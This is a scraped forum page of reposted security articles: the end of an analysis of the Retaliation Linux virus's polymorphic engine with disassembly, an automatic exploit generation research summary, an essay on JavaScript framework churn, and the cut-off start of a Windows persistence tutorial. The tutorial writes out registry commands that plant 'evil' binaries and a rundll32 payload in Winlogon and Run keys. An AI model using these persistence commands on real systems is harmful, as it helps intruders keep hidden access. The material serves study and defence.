describing the different system calls that can be generated by the polymorphic engine are encrypted using the same routines. If all 32,768 keys are exhausted during decryption without success the virus displays the following message and terminates the host. Break screen in case of virus writer gone mad. Activation Routine Retaliation also carries an activation routine. If a file has been infected for more than 90 days and is still on the machine it was originally infected on, it displays the following message for 7 seconds: <<=- [Linux64.Retaliation V1.0] - Coded by JPanic - Australia 2013/2014 -=>> Polymorphic Engine Retaliation uses a complex but unusually large polymorphic engine at 14,938 bytes. Polymorphy is achieved by creating a random encryption alogrithm, encrypting the virus body with it and then generating a corresponding decryption routine using random registers and instructions, optionally with random "junk" instructions in-between the real ones. Some sample code is given at the end of this section. The basic template of a decryptor is pushing all 64-bit integer registers (and optionally flags), decrypting the virus and calling it, and then popping back all registers and returing control to the host. The engine is partially "slow", choosing the parameters of the decryptor only once per run, but choosing different instructions every infection. Decryptors may be 8/16/32-bit, forwards or backwards, and with an increasing or decreasing 16/32/64-bit counter. There may be one or two pointer registers, one or 2 key registers and always one count register and one text register. Encryption/decryption is achieved by modifying the key register(s) with sequences of ADD,SUB,XOR,ROL,ROR,NOT,NEG instructions using an immediate, the key or count register, or CL in the chance of rol/ror as the 2nd argument. Care is taken not to generate redundant sequences like an ADD followed by a SUB, or two XOR instructions in a row. They text register is then combined with the key register using an ADD/SUB/XOR.. The pointer registers are incremented/decremented using combinations of multiple INC,DEC and ADD,SUB imm/reg instructions. The counter is incremented/decremented using a single INC,DEC,ADD,SUB instruction followed by an optional "test" of the register using CMP,TEST,AND,OR,XOR,ADD,SUB with an appropriate argument. The final loop instruction can be on of JNZ,JC,JNC,JG,JL,JGE,JNO,JS or the condition can be inverted and followed by a JMP NEAR (E9). Junk instructions contain about 98% of the x64 integer instruction set, andmemory read or writes using RIP-relative, RSP-relative, or Reg64 relative encodings. Infected executables are always decrypted in place and may have 1 to 4 layers of encryption. "Junk" is always present in executable infections to some degree - there may be just simple sequences of instructions or more complex combinations forming IF/THEN or LOOP branches, CALL's to sub-routines (containing more junk) and SYSCALL's including a check of their return value. In the case of junk memory reads, the decryptor may read from the stack, or from the host's .data,. rodata, or .bss. In the case of memory writes, data may be written to the stack or .bss. In such cases, the .bss section is zero'd before returning control to the host. Junk IF/THEN's, LOOP's, and CALL <subroutines> maybe recursive to a variable depth. Any of these may contain instances of more of these. For example, a junk LOOP may contain a CALL to a junk subroutine, which may contain a junk SYSCALL. See example given below. CALL's may be forwards or backwards. The virus holds a 93-item table describing possible junk SYSCALL's. Each entry describes one System Call - the SYSCALL number, the type of parameters and the error code it should return. Error codes can be checked with explicit compares branching to bad code, or ADD/SUB'd to create a destination for a JMP Reg64 instruction. Each of the 93 entries is individually RDA encrypted and the entire table is shuffled every run. Decryptors in relocatable files have some differences. Firstly, they are always a single layer. Secondly, the virus stores a varaible in .bss, which is initialized to zero. This value is tested with a compare and a JNZ,JPO,JS everytime the decryptor is called. The first time the decryptor is called it sets this variable to a non-zero value. This avoids the virus being decrypted and executed more than once - the decryptor is skipped if the variable contains a non-zero value. Finally since .text is read-only and .data is non-executable, the decryptor allocates memory dynamically through a polymorphic call to sys_mmap with semi-variable values. The virus is then decrypted to this buffer if the mmap call succeeds. Once the virus is called, the decryptor returns control to the original (hi-jacked) function. There are some differences between executable infections and relocatable infections regarding "junk" as well. Only 50% of relocatable files have junk instructions. The ones that do only contain simple instructions, no branches, loops, sub-routines, or syscalls. Finally, junk memory read/writes may only be to the stack. Since the virus does not know the address that each section will be linked into the executable, relocation items are created for the decryptor as needed. Example Junk - Syscall with infinite loop if wrong error level returned LOAD:0000000000824BEB mov rax, 56h LOAD:0000000000824BF5 bt ebp, 14h LOAD:0000000000824BF9 btc r10d, r13d LOAD:0000000000824BFD btr r14d, 10h LOAD:0000000000824C02 syscall LOAD:0000000000824C04 neg eax LOAD:0000000000824C06 add eax, 0FFFFFFF2h LOAD:0000000000824C09 jnz loc_824BB5 Example Junk - Recursive loops with a call to a junk subroutine. loc_80BAD8:LOAD:000000000080BAD8 loc_80BAD8: ; CODE XREF: start+71Aj LOAD:000000000080BAD8 btc r15w, si LOAD:000000000080BADD btr r15, 33h LOAD:000000000080BAE2 mov ax, 0FFA0h LOAD:000000000080BAE6 neg rax LOAD:000000000080BAE9 cmpxchg ah, bh LOAD:000000000080BAEC and word ptr [rsp+0A8h+var_80], 0FFA0h LOAD:000000000080BAF2 imul r15w, [r13+0] LOAD:000000000080BAF8 call sub_80BC81 LOAD:000000000080BAFD mov r11d, 5Fh LOAD:000000000080BB03 cmpxchg bh, ah LOAD:000000000080BB06 xchg r12b, byte ptr [rsp+0A8h+var_90] LOAD:000000000080BB0B cmpxchg al, cl LOAD:000000000080BB0E ror [rsp+0A8h+var_80], 13h LOAD:000000000080BB14 sub bp, 1 LOAD:000000000080BB18 jnz short loc_80BAD8 LOAD:000000000080BB1A pop r12 LOAD:000000000080BB1C pop rbp LOAD:000000000080BB1D pop rbx LOAD:000000000080BB1E sub edi, 1 LOAD:000000000080BB21 jb short loc_80BB98 LOAD:000000000080BB23 imul ebx, [r13+0], 6Eh ... LOAD:000000000080BC81 LOAD:000000000080BC81 sub rsp, 18h LOAD:000000000080BC85 xchg r15w, si LOAD:000000000080BC89 cmpxchg ch, bh LOAD:000000000080BC8C mov [rsp+18h+var_18], cx LOAD:000000000080BC91 bswap rbx LOAD:000000000080BC94 not bl LOAD:000000000080BC96 pop r8 LOAD:000000000080BC98 pop rsi LOAD:000000000080BC99 pop r11 LOAD:000000000080BC9B retn Example Decryptor - Relocatable with no junk and minimum encryption level public x .text:0000000000000087 x proc near ; CODE XREF: main+13p .text:0000000000000087 push r11 .text:0000000000000089 push rsi .text:000000000000008A push r14 .text:000000000000008C push r10 .text:000000000000008E push rbp .text:000000000000008F push r12 .text:0000000000000091 push r8 .text:0000000000000093 push rbx .text:0000000000000094 push rcx .text:0000000000000095 push rax .text:0000000000000096 push r15 .text:0000000000000098 push r13 .text:000000000000009A push rdx .text:000000000000009B push r9 .text:000000000000009D push rdi .text:000000000000009E mov r14, offset BSS_DecryptionFlag .text:00000000000000A8 mov bl, [r14] .text:00000000000000AB test bl, 0FFh .text:00000000000000AE jnz SkipDecryption .text:00000000000000B4 mov byte ptr [r14], 0FFh .text:00000000000000B8 and byte ptr [r14], 40h .text:00000000000000BC mov bh, 5 .text:00000000000000BE mov r11, 25949 .text:00000000000000C8 mov bp, 63EFh .text:00000000000000CC push r11 .text:00000000000000CE mov rdx, 7 .text:00000000000000D8 push 0 .text:00000000000000DA pop r9 .text:00000000000000DC mov r8, 0FFFFFFFFFFFFFFFFh .text:00000000000000E6 mov rsi, 0ACE0h .text:00000000000000F0 xor rax, rax .text:00000000000000F3 add rax, 9 .text:00000000000000F7 push 0 .text:00000000000000F9 pop rdi .text:00000000000000FA push 22h .text:00000000000000FC pop r10 .text:00000000000000FE syscall .text:0000000000000100 mov r9, rax .text:0000000000000103 pop r11 .text:0000000000000105 cmp r9, 0FFFFFFFFFFFFF001h .text:000000000000010C jnb SkipDecryption .text:0000000000000112 push r9 .text:0000000000000114 sub r9, 0FFFFFFFFFFFF9C11h .text:000000000000011B .text:000000000000011B DecryptorLoop: ; CODE XREF: x+B2j .text:000000000000011B mov bl, [r11] .text:000000000000011E not bh .text:0000000000000120 xor bh, 0B6h .text:0000000000000123 ror bh, 3 .text:0000000000000126 sub bl, bh .text:0000000000000128 mov byte ptr [r9], 0FFh .text:000000000000012C and [r9], bl .text:000000000000012F dec r9 .text:0000000000000132 sub r11, 1 .text:0000000000000136 dec bp .text:0000000000000139 jge DecryptorLoop .text:000000000000013F pop r12 .text:0000000000000141 sub r12, 0FFFFFFFFFFFFFFA0h .text:0000000000000145 call r12 .text:0000000000000148 .text:0000000000000148 SkipDecryption: ; CODE XREF: x+27j .text:0000000000000148 ; x+85j .text:0000000000000148 pop rdi .text:0000000000000149 pop r9 .text:000000000000014B pop rdx .text:000000000000014C pop r13 .text:000000000000014E pop r15 .text:0000000000000150 pop rax .text:0000000000000151 pop rcx .text:0000000000000152 pop rbx .text:0000000000000153 pop r8 .text:0000000000000155 pop r12 .text:0000000000000157 pop rbp .text:0000000000000158 pop r10 .text:000000000000015A pop r14 .text:000000000000015C pop rsi .text:000000000000015D pop r11 .text:000000000000015F push cs:OriginalProc .text:0000000000000165 retn Final Words As shown this Virus combines together many strengths: precision engineering, innovations in anti-debugging, function level polymorphism, and myriad other features that we discovered and discussed in this profile. If you are interested in obtaining Virus samples, or have any questions please don't hesitate to contact me. elfmaster@zoho.com Sursa: Ryan O'Neill 'An unofficial analysis of the Retaliation Virus (Authored by JPanic)' (VX heaven)
  14. AEG: Automatic Exploit Generation on Source Code The automatic exploit generation challenge we address is given a program, automatically find security-critical bugs and generate exploits. Our approach uses a novel formal verification technique called preconditioned symbolic execution to make automatic exploit generation more scalable to real-world programs than without it. We implemented our techniques in a system called AEG, which we use to automatically generate 16 exploits for 14 open-source projects. Two of the generated exploits are against previously unknown vulnerabilities. The hard part, in our experience, was exploring the state space efficiently to find bugs, determine the problem, and generate an initial input that triggers the bug. The core of our paper is a technique called preconditioned symbolic execution, which provides better scalability for finding exploitable bugs than when using previous symbolic execution techniques. The main idea is to guide symbolic execution to program paths that are more likely to be exploitable. Basic symbolic execution tends to try and explore all paths, which is more expensive. Our implementation is built on top of KLEE, a great symbolic execution engine from researchers at Stanford. We are very excited about these results, and think they show a real step forward in state of the art. Don't take this to mean we believe it's a solved problem. Our future work focuses on scaling to larger and more programs, to more types of exploits, and to other relevant problem settings. There is plenty still to do. We presented our paper at NDSS 2011. The most current copy of our paper. PDF BiBTeX Help us find typos in our paper and join our thank you list. The camera-ready version for NDSS. The above is the update; this is here mostly for historical reasons. PDF For those of you interested in watching, we've prepared a youtube video of our experiments. We have a short talk that gives a high-level overview of our take on the problem, the direction, and our project. Also note that due to youtube time lengths, we left out several important things such as the related work. That stuff is important, but we just couldn't fit everything in. Please see the paper for more information. As a random link related to exploits, CMU runs a Capture the Flag team. See their website :: Plaid Parliament of Pwning ::. Sursa: djb research: Automatic Exploit Generation
  15. The State of JavaScript in 2015 The JavaScript world seems to be entering a crisis of churn rate. Frameworks and technologies are being pushed out and burned through at an unsustainable speed. But I think the community will adapt and adopt new practices in response. Developers will move, I believe, from monolithic frameworks like Angular.js and Ember to a ‘pick n mix’ of small, dedicated libraries to mitigate the risk of churn and to allow solutions to different concerns to compete separately. Obviously, this post has big red ‘opinion’ stickers over it. But hear me out. Churn At the close of 2014, it’s difficult as a JavaScript developer to back a particular library or technology with confidence. Even the mighty Angular, which seemed set to establish itself as the One True Framework of Single Page Applications, looks destabilized by recent events. Let me explain. In case you haven’t been paying much attention to the <ng-community>, October saw the 2014 ng-europe conference, where the Angular developer team revealed significant updates about the roadmap for Angular 2.0. One of the more controversial revelations was that NG2.0 would be completely backwards-incompatible with existing Angular code. In fact, several key concepts would be shelved in favour of a brand new architecture. Angular developers would effectively have to get to grips with an entirely new framework. Understandably, this has upset a lot of people. Rightly or wrongly, the perception was that the knowledge, practices and code that Angular developers had worked so hard on over the last two years had now been arbitrarily deprecated. Worse, the replacement wasn’t even around the corner – it was supposed to be twelve months away. New projects, the naysayers felt, were effectively going to be ‘born to die’ once Angular 2.0 was released in late 2015. I honestly didn’t think it was possible for the Angular team to do anything in the 2.0 release that would turn me off. All of the talk of offline first capabilities and dropping support for old browsers to make way for new things sounded great. This is a mess. The syntax looks like hot shit, and the huge gap between this and 1.3 means those of us with real jobs where projects live for years and years have to back off. I can’t tell my boss that we’re going to build something incredible, but that we need to plan for a code only, no new features rewrite in 18 months. jbarkett, Reddit Response to the Announcement on Reddit’s R/programming Board There’s a lot of umbrage in that thread directed towards Angular and Google specifically – some of it fair, some perhaps less so. But one of the highest upvoted comments wasn’t about Angular at all – it was targetted towards the whole JavaScript environment: As many others here have observed, fashionable webdev now is beyond a joke; I’m seriously glad I got out of it when I did. Once you’re forced to actually deal with this nonsense you either run screaming for the exits or go insane. It’s not even fragmentation, it’s fragmentation cubed. I’ve lost count of the number of MVmumble frameworks I’ve seen pitched as “a framework using Foo, Bar and Baz”, where Foo turns out to be a event library you’ve never heard of with 3% usage share, Bar is a templating library you’ve never heard of with 2% share and Baz is a databinding library you’ve never heard of with 1%, making the combination useful to… I dunno, the author, maybe, for the next five minutes until he switches to a new set of libraries. I don’t understand. I don’t understand why anyone thinks this is a good idea. I’ve seen code produced by people using this stuff, and it’s just unbelievably awful, because nobody has time to understand anything when it changes every thirty seconds. othermike, Reddit Another Response to the Selfsame Post Othermike’s issues seem to me really to be issues of churn. There are just too damn many JavaScript frameworks, and they’re changing too damn fast too. Two years ago, JavaScript was ablaze in its own Renaissance, fuelled by a move towards more modern, more standardized browsers (i.e. not Internet Explorer) and the discovery of Node.js as a technology for powering front end build tools. All manner of new technologies came forth. As little as twelve months ago is seemed a fait accompli that the modern web would be dominated by Backbone.js (maybe using Marionette), with Grunt as a task runner, Require.js and Handlebars-based templating. Yet six months later, these technologies had all apparently been replaced, if the blogosphere was anything to go by – now, it was all about Angular, Gulp and Browserify. And now this stack seems questionable too. Is this pace of change sustainable? I’m frankly overwhelmed of being exposed to new technologies. noname123 HackerNews Innovation is great, but this kind of churn rate seems excessive. It’s just not possible for developers to make large, upfront investments of time in getting to grips with new frameworks and technologies when there’s no guarantee of their longevity. Programmers want to program – they want to build things, and be masters of their craft. But how can we get anything done when we’re spending most of our time learning? How can we feel like craftsmen when we’re scrabbling in the dark with unfamilar tech? Once, corporate sponsorship or the backing of a large organization might have provided a beacon. We could look at a framework built by Google, Adobe or Microsoft, and believe that their support meant a long lifespan and careful stewardship. After the crises of Flex and Silverlight, that time is past. It’s not just the prospect of our tools being deprecated that’s worrying, though. It’s the idea that we might make the wrong bet; get in bed with a technology only to discover that something new and substantially better is coming over the horizon. If it’s now ‘obviously’ a non-starter to use Grunt, or Backbone, or Require, who’s to say that it won’t be ‘obviously’ a non-starter to use whatever tech we’re considering today six months’ down the line? It’s not hopeless So the situation is difficult. But people are clever, developers are resourceful, and the demand to write new apps isn’t going to let anyone give up. So what are we going to do? I think there are three key lessons we can adopt: Treat new technology with healthy scepticism. Be wary about pushing that cool new Github project into production. Wait until something is commonly used, has lots of bugfixes and is generally proven beyond doubt to be mature. Wait until the inevitable horror stories (all technologies have horror stories) and tales from the trenches about the use of X or Y in production. Be less trustful of corporate backing. This isn’t the first time Google have pulled the rug out from under the feet of developers reliant on its ecosystem. Go ask anyone who’s had to deal with their web APIs. Companies act in irrational and self-harmful ways all the time. And their interests may not always be the same as yours. Prefer dedicated libraries to monolithic frameworks. When you choose a framework, you make a large, long term committment. You sign up to learn about the framework’s various inner workings and strange behaviours. You also sign up to a period of ineffectiveness whilst you’re getting to grips with things. If the framework turns out to be the wrong bet, you lose a lot. But if you pick and choose from libraries, you can afford to replace one part of your front end stack whilst retaining the rest. I think this third practice is already underway. Libraries > frameworks? In the aftermath of the Angular controversy, another Reddit thread asked what technologies JavaScript developers felt like migrating to. Here’s what r/javascript had to say: React.js with Flux (a view-only library and an eventing module) Ember.js (a full MVC framework) Knockout.js (view-only library) Backbone.js (full MVC framework) Meteor (full isomorphic framework) Mithril (full MVC framework) Ember (full MVC framework) ‘No framework; just lots of libraries’ Vue.js (view-only library) Breeze.js (model-only library) Ractive (view-only library) What’s interesting is how many of the options aren’t full-fledged frameworks at all, but specialized libraries – mostly for data binding to the DOM. One person suggested “no monolithic framework but modular components that do one thing well”. Here’s how one person responded: I really think this is the best answer. There will never be a perfect framework so you can just hack the most relevant features together using npm. I find the documentation of these small components is often really simple. Any problems and there’s no waiting for the next release of the entire framework, you simply throw up an issue, the authors fix it, push it and then bam it’s on npm for everyone else and no other components have been disturbed. If you find you don’t like the templating language or error handling, you don’t have to rethink the entire project, you just hot-swap the component for another and you’re on your way again. krazyjaykee, Reddit Now That AngularJS Has Gone Down a Bit of a Weird Route, What Are Some Good Alternatives? I feel this way too. By using small libraries – components with a dedicated purpose and a small surface area – it becomes possible to pick and mix, to swap parts of our front end stack out if and when they are superceded. New projects can replace only the parts that matter, whilst core functionality whose designs are settled – routing APIs, say – can stay exactly the same between the years. Libraries stop being an all-or-nothing proposition. What if you like Angular’s inversion of control containers, but hate its data binding? No problem – you can just choose what you like from NPM and get going right away. You can move your legacy projects (read: the ones that make your employer money) to new technologies incrementally, rather than rewriting everything, providing you stick to good practices and wrap those libraries carefully. What’s more, when different problems are answered by different libraries, their solutions can compete directly. If Framework A does X well and Y badly, compared to Framework B’s great Y and shaky X, you’re stuck. But if Library A and B both try and do X, they can compete in a direct fashion in discrete and measurable ways. tl;dr The churn rate of front end JavaScript technologies is problematic People are starting to feel burned out and alienated by the pace of change The answer might be to eschew monolithic frameworks in favour of microlibraries Of course, we’ll see how much of this actually happens in 2015. It’s entirely possible that Angular’s dominance will remain stable despite the wailing and gnashing of teeth – it is, after all, popular for a very good reason. If so, Angular’s position could be secured in an industry looking for standards and stability amongst the turbulence of the last two years. It’s also possible that another monolith might take Angular’s place. An informal combination of React, Flux and Browserify seems the obvious candidate. Whatever happens, it’s hard to see the technology slowing down. Let’s see what happens. Come tell me what you reckon on Twitter Posted by Jimmy Breck-McKye Dec 1st, 2014 Sursa: The State of JavaScript in 2015 - Jimmy Breck-McKye
  16. [h=2]Windows Userland Persistence Fundamentals[/h] This tutorial will cover several techniques that can be used to gain persistent access to Windows machines. Usually this doesn't enter into play during a pentest (with the exception of red team engagements) as there is no benefit to adding it to the scope of the project. That is not to say it is not an interesting subject, both from a defensive and offensive perspective. As the title indicates, we will only be covering userland. It should be noted that advanced persistence mechanisms go far beyond that, kernel rootkits (such as custom NDIS protocol drivers) or even going out-of-band (System Management Mode, Rogue Hypervisors). [h=2]On The Run With The Windows Registry[/h] Tampering with the Windows registry is probably the most common and transparent way to set up persistent access to a windows machine. Using the registry we can execute batch files, executables and even exported functions in DLL's. Before we get started I just want to explain the difference between "HKEY_LOCAL_MACHINE" (HKLM) and "HKEY_CURRENT_USER" (HKCU). HKLM keys are run (if required) every time the system is booted while HKCU keys are only executed when a specific user logs on to the system. Links: Microsoft DOS reg command - here Userinit - here Run and RunOnce Registry Keys - here RUNDLL and RUNDLL32 - here # The usual suspects. [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce] [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices] [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce] [HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] Subverting Winlogon: As per the Micorsoft TechNet description; the Userinit registry key defines which programs are run by Winlogon when a user logs in to the system. Typically Winlogon runs Userinit.exe, which in turn runs logon scripts, reestablishes network connections, and then starts explorer. Below we can see the "default" content for the Winlogon registry key. # Windows 7 machine. C:\Windows\system32> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon ReportBootOk REG_SZ 1 Shell REG_SZ explorer.exe PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16} Userinit REG_SZ C:\Windows\system32\userinit.exe VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile AutoRestartShell REG_DWORD 0x1 Background REG_SZ 0 0 0 CachedLogonsCount REG_SZ 10 DebugServerCommand REG_SZ no ForceUnlockLogon REG_DWORD 0x0 LegalNoticeCaption REG_SZ LegalNoticeText REG_SZ PasswordExpiryWarning REG_DWORD 0x5 PowerdownAfterShutdown REG_SZ 0 ShutdownWithoutLogon REG_SZ 0 WinStationsDisabled REG_SZ 0 DisableCAD REG_DWORD 0x1 scremoveoption REG_SZ 0 ShutdownFlags REG_DWORD 0x5 AutoAdminLogon REG_SZ 0 DefaultUserName REG_SZ Fubar HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked There is (almost) no legitimate reason to modify the "Userinit" registry key so if you ever encounter a non-default value here you should hear alarm bells going off. As it turns out we can simply modify the key and prepend the userinit.exe executable with our own malicious binary/script. C:\Windows\system32> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Some\Evil\Binary.exe","C:\Windows\system32\userinit.exe" Value Userinit exists, overwrite(Yes/No)? Yes The operation completed successfully. C:\Windows\system32> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon ReportBootOk REG_SZ 1 Shell REG_SZ explorer.exe PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16} Userinit REG_SZ C:\Some\Evil\Binary.exe,C:\Windows\system32\userinit.exe VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile AutoRestartShell REG_DWORD 0x1 Background REG_SZ 0 0 0 CachedLogonsCount REG_SZ 10 DebugServerCommand REG_SZ no ForceUnlockLogon REG_DWORD 0x0 LegalNoticeCaption REG_SZ LegalNoticeText REG_SZ PasswordExpiryWarning REG_DWORD 0x5 PowerdownAfterShutdown REG_SZ 0 ShutdownWithoutLogon REG_SZ 0 WinStationsDisabled REG_SZ 0 DisableCAD REG_DWORD 0x1 scremoveoption REG_SZ 0 ShutdownFlags REG_DWORD 0x5 AutoAdminLogon REG_SZ 0 DefaultUserName REG_SZ Fubar HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked With the modification shown above any user login will trigger the execution of our evil "Binary.exe". This is definitely pretty obtrusive. For stealth purposes it would be much better to backdoor the userinit executable or rename it and load a different binary (with the same name) that has an epilog which calls the original executable. Run and RunOnce: Our other option is to abuse the HKLM/HKCU Run/RunOnce registry keys. Run and RunOnce serve different purposes, as the name indicates, RunOnce is only executed once after the affected user logs in while Run is persistent across logins. There are some interesting oddities to take note of with these registry keys. (1) The RunOnce key is deleted on login, even if it fails to execute, to prevent this you should prefix the value with an exclamation mark (!). Doing so will attempt to execute the key again on the next login. (2) Both the Run and RunOnce keys are not executed when booting into safe mode, to force their execution you can prefix the key value with an asterisk . We can easily query the various Run keys. C:\Windows\system32> reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run VMware User Process REG_SZ "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr C:\Windows\system32> reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" C:\Windows\system32> reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" C:\Windows\system32> reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" These registry keys have a pretty straight forward structure. For example, from the output above, we can see that any user logon will trigger the VMWare Tools service to start up. Similarly it is very easy to add our own malicious registry key. C:\Windows\system32> reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v EvilKey /t REG_SZ /d "C:\Some\Evil\Binary.exe" The operation completed successfully. C:\Windows\system32> reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run VMware User Process REG_SZ "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr EvilKey REG_SZ C:\Some\Evil\Binary.exe RUNDLL and RUNDLL32: I wanted to mention rundll separately. Rundll has been around for a very long time, it is used to directly access shared code that is stored in DLL files. As a normal user there should be no reason to interact with DLL's in this way, perhaps with the exception of batch scripting. Rundll is useful to us because it adds an extra layer of abstraction to the persistence. Hijacking a function inside a legitimate dll and redirecting execution flow to our shellcode will be much more difficult to detect than launching a malicious executable or batch file. For demonstration purposes we can generate a messagebox dll using msfpayload. root@Josjikawa:~# msfpayload windows/messagebox text='Rundll32 Backdoor' D > /root/Desktop/evil.dll Created by msfpayload (Penetration Testing Software | Metasploit). Payload: windows/messagebox Length: 270 Options: {"TEXT"=>"Rundll32 Backdoor"} We can execute our payload by passing the function name (@DllMain12) as a parameter to rundll. C:\Windows\system32> reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v EvilRundll /t REG_SZ /d "C:\Windows\system32\rundll32.exe C:\Users\Fubar\Desktop\evil.dll, @DllMain12" The operation completed successfully. C:\Windows\system32> reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run VMware User Process REG_SZ "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr EvilRundll REG_SZ C:\Windows\system32\rundll32.exe C:\Users\Fubar\Desktop\evil.dll, @DllMain12 Got shell? Below you can see a screenshot of these three registry persistence techniques in action. On Boot All three backdoors are run moments after explorer finishes starting up. In this case the Winlogon and Run keys are executing batch scripts located on the desktop. ? [TABLE] [TR] [TD=class: code]@echo off for /f %%i in ('time /T') do set _time=%%i echo Backdoor started at %_time% systeminfo | find /i "Boot Time" echo. pause [/TD] [/TR] [/TABLE] [h=2]Scheduled Backdoors[/h] Next we will have a look the available task scheduling options in Windows. Scheduling is useful, we can run tasks with different permission sets and trigger the task using events or at specific time intervals. Let's see if we can't book an appointment for our backdoor! Links: Schtasks [Microsoft Technet] - here Wevtutil [Microsoft Technet] - here Eventcreate [Microsoft Technet] - here Event-O-Pedia (FTW) - here Security events in Windows 7 and Server 2k8 [Microsoft Support] - here AT [Microsoft Technet] - here Schtasks: If you have never used schtasks you will be amazed by the extensive features and flexibility that it has. For your convenience you can see the task creation options below (use "schtasks /?" for full options). C:\Windows\system32> schtasks /Create /? SCHTASKS /Create [/s system [/u username [/P [password]]]] [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day] [/M months] [/i idletime] /TN taskname /TR taskrun [/sT starttime] [/RI interval] [ {/ET endtime | /DU duration} [/K] [/xml xmlfile] [/V1]] [/sD startdate] [/ED enddate] [/iT | /NP] [/Z] [/F] Description: Enables an administrator to create scheduled tasks on a local or remote system. Parameter List: /S system Specifies the remote system to connect to. If omitted the system parameter defaults to the local system. /U username Specifies the user context under which SchTasks.exe should execute. /P [password] Specifies the password for the given user context. Prompts for input if omitted. /RU username Specifies the "run as" user account (user context) under which the task runs. For the system account, valid values are "", "NT AUTHORITY\SYSTEM" or "SYSTEM". For v2 tasks, "NT AUTHORITY\LOCALSERVICE" and "NT AUTHORITY\NETWORKSERVICE" are also available as well as the well known SIDs for all three. /RP [password] Specifies the password for the "run as" user. To prompt for the password, the value must be either "*" or none. This password is ignored for the system account. Must be combined with either /RU or /XML switch. /SC schedule Specifies the schedule frequency. Valid schedule types: MINUTE, HOURLY, DAILY, WEEKLY, MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT. /MO modifier Refines the schedule type to allow finer control over schedule recurrence. Valid values are listed in the "Modifiers" section below. /D days Specifies the day of the week to run the task. Valid values: MON, TUE, WED, THU, FRI, SAT, SUN and for MONTHLY schedules 1 - 31 (days of the month). Wildcard "*" specifies all days. /M months Specifies month(s) of the year. Defaults to the first day of the month. Valid values: JAN, FEB, MAR, APR, MAY, JUN, JUL, AUG, SEP, OCT, NOV, DEC. Wildcard "*" specifies all months. /I idletime Specifies the amount of idle time to wait before running a scheduled ONIDLE task. Valid range: 1 - 999 minutes. /TN taskname Specifies a name which uniquely identifies this scheduled task. /TR taskrun Specifies the path and file name of the program to be run at the scheduled time. Example: C:\windows\system32\calc.exe /ST starttime Specifies the start time to run the task. The time format is HH:mm (24 hour time) for example, 14:30 for 2:30 PM. Defaults to current time if /ST is not specified. This option is required with /SC ONCE. /RI interval Specifies the repetition interval in minutes. This is not applicable for schedule types: MINUTE, HOURLY, ONSTART, ONLOGON, ONIDLE, ONEVENT. Valid range: 1 - 599940 minutes. If either /ET or /DU is specified, then it defaults to 10 minutes. /ET endtime Specifies the end time to run the task. The time format is HH:mm (24 hour time) for example, 14:50 for 2:50 PM. This is not applicable for schedule types: ONSTART, ONLOGON, ONIDLE, ONEVENT. /DU duration Specifies the duration to run the task. The time format is HH:mm. This is not applicable with /ET and for schedule types: ONSTART, ONLOGON, ONIDLE, ONEVENT. For /V1 tasks, if /RI is specified, duration defaults to 1 hour. /K Terminates the task at the endtime or duration time. This is not applicable for schedule types: ONSTART, ONLOGON, ONIDLE, ONEVENT. Either /ET or /DU must be specified. /SD startdate Specifies the first date on which the task runs. The format is mm/dd/yyyy. Defaults to the current date. This is not applicable for schedule types: ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT. /ED enddate Specifies the last date when the task should run. The format is mm/dd/yyyy. This is not applicable for schedule types: ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT. /EC ChannelName Specifies the event channel for OnEvent triggers. /IT Enables the task to run interactively only if the /RU user is currently logged on at the time the job runs. This task runs only if the user is logged in. /NP 